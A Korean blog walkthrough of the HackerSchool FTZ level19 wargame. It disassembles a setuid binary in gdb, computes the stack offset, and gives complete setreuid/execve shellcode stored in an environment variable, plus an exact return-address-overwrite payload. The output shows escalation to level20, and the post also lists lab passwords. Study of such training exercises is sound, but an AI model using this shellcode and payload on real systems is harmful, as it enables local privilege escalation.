[ftz] hackerschool level19 풀이

l hackerschool level19 풀이

실행 환경 : VMware Workstation Pro, Red Hat Linux 9.0

참고 도서 : 문제 풀이로 배우는 시스템 해킹 테크닉

 

** 공부를 하면서 기록하는 내용이다 보니 틀린 내용이 있을 수도 있습니다. 틀린 부분이 있다면 댓글로 알려주시면 감사드리겠습니다. **


 

 

login as: level19
level19@192.168.31.128's password:

 

 

 

level19 문제의 아이디인  level19 와 password인   swimming in pink 을 입력하여 level19의 유저로 접속합니다.

 

 

 

[level19@ftz level19]$ ls -l
total 28
-rwsr-x---    1 level20  level19     13615 Mar  8  2003 attackme
-rw-r-----    1 root     level19        65 Mar  8  2003 hint
drwxr-xr-x    2 root     level19      4096 Feb 24  2002 public_html
drwxrwxr-x    2 root     level19      4096 Jan 16  2009 tmp

 

 

 

 ls -l  명령어를 사용하여 현재 위치( /home/level19 ) 아래에 있는 디렉터리의 목록을 확인합니다.

목록들 중 hint 파일을 읽어 어떤 식으로 문제를 풀어야 하는지 보도록 하겠습니다.

 

 

 

[level19@ftz level19]$ cat hint


main()
{ char buf[20];
  gets(buf);
  printf("%s\n",buf);
}


 

 

 

cat 명령어를 사용하여 hint 파일을 확인해본 결과 위의 코드와 힌트를 볼 수 있습니다.

 

gets를 이용해 입력을 받긴 하지만 셸을 취득하는 명령이 없습니다. 따라서 셸을 취득할 수 있도록 셸 코드를 넣어주어야 합니다.

 

 

 

[level19@ftz level19]$ cp ./attackme ./tmp/level19
[level19@ftz level19]$ cd ./tmp
[level19@ftz tmp]$ ls -l
total 16
-rwxr-x---    1 level19  level19     13615 Nov 14 14:36 level19

 

 

 

문제를 풀기 전 퍼미션 문제 때문에 attackme 파일을 tmp 폴더 안에 복사하도록 하겠습니다.

 

 

 

[level19@ftz tmp]$ gdb level19
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
(gdb) disas main
Dump of assembler code for function main:
0x08048440 <main+0>:    push   %ebp
0x08048441 <main+1>:    mov    %esp,%ebp
0x08048443 <main+3>:    sub    $0x28,%esp
0x08048446 <main+6>:    sub    $0xc,%esp
0x08048449 <main+9>:    lea    0xffffffd8(%ebp),%eax
0x0804844c <main+12>:   push   %eax
0x0804844d <main+13>:   call   0x80482f4 <fgets> 
0x08048452 <main+18>:   add    $0x10,%esp
0x08048455 <main+21>:   sub    $0x8,%esp
0x08048458 <main+24>:   lea    0xffffffd8(%ebp),%eax
0x0804845b <main+27>:   push   %eax
0x0804845c <main+28>:   push   $0x80484d8
0x08048461 <main+33>:   call   0x8048324 <printf> 
0x08048466 <main+38>:   add    $0x10,%esp
0x08048469 <main+41>:   leave
0x0804846a <main+42>:   ret
0x0804846b <main+43>:   nop
0x0804846c <main+44>:   nop
0x0804846d <main+45>:   nop
0x0804846e <main+46>:   nop
0x0804846f <main+47>:   nop
End of assembler dump.


 

 

 

level19 파일을 gdb로 분석해보도록 하겠습니다.
disas main 명령을 통해 main의 어셈블리 코드를 보겠습니다. 우리는 여기서 빨간색 부분을 집중해 보도록 할 것입니다.

 

 

1. 0x08048443 <main+3>:    sub    $0x28,%esp

0x28을 10진수로 바꾸게 되면 40입니다. 스택에 40byte의 공간을 할당하는 것을 알 수 있습니다.

 

 

2. 0x0804844d <main+13>:   call   0x80482f4 <fgets>

힌트 코드에서 보면 fgets 함수에 인자로 buf가 들어가는 것을 볼 수 있습니다. 따라서 main+13 바로 위 %eax 이 부분이 buf의 시작 위치이고, %eax는 main+9에서 알 수 있습니다. 

 

11011000 => 00100111 => 00101000 = 8 + 32 = 40

buf의 시작 위치는 ebp - [0xffffffd8의 2의 보수]입니다. 즉 ebp - 40이 buf의 시작 위치입니다.

 

 

메모리 구조를 보면 아래와 같습니다.

 

 

 

 

앞의 버퍼오버플로우 문제들과의 차이점은 hint 코드에 setreuid 함수가 없다는 것입니다. 따라서 셸 코드에 setreuid 함수 코드까지 포함시켜주어야 합니다. 그럼 셸 명령과 setreuid 함수를 포함한 셸 코드를 환경변수에 넣어주도록 하겠습니다.

 

 

 

[level19@ftz tmp]$ export SHELL=`python -c 'print "\x90"*50+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
[level19@ftz tmp]$ echo 'int main(){ printf("ADDR:0x%x\n",getenv("SHELL"));}' > getenv.c
[level19@ftz tmp]$ gcc -o getenv getenv.c
[level19@ftz tmp]$ ./getenv
ADDR:0xbffffc05

 

 

 

위의 결과를 통해 나온 주소를 메모리 상의 return 부분에 덮어씌워주도록 하겠습니다. 그렇게 되면 return 부분이 실행되면서 셸 코드가 있는 주소로 가게 될 것입니다.

 

 

 

| 셸 코드

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

 

 

 

| 페이로드

(python -c 'print "A"*44+"\x05\xfc\xff\xbf"';cat) | ./attackme

 

 

 

 

[level19@ftz level19]$ (python -c 'print "A"*44+"\x05\xfc\xff\xbf"';cat) | ./attackme
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAüÿ¿
PuTTY
/bin//sh: line 1: PuTTY: command not found
id
uid=3100(level20) gid=3099(level19) groups=3099(level19)
my-pass
TERM environment variable not set.

Level20 Password is "we are just regular guys".

 

 

 

위의 페이로드를 입력 후 id 명령어를 실행시키면 uid가 level20인 것을 확인할 수 있습니다. 그 후 my-pass 명령을 통해 level20의 password를 알 수 있습니다.

 

 

 

l level20 비밀번호

더보기

Level20 Password is "we are just regular guys". 

 

'보안 > HackerSchool-ftz' 카테고리의 다른 글

[ftz] hackerschool level20 풀이  (0) 2020.01.09
[ftz] hackerschool level18 풀이  (0) 2020.01.03
[ftz] hackerschool level17 풀이  (0) 2020.01.03
[ftz] hackerschool level16 풀이  (0) 2020.01.02
[ftz] hackerschool level15 풀이  (0) 2020.01.02

이 글을 공유하기

댓글

Designed by JB FACTORY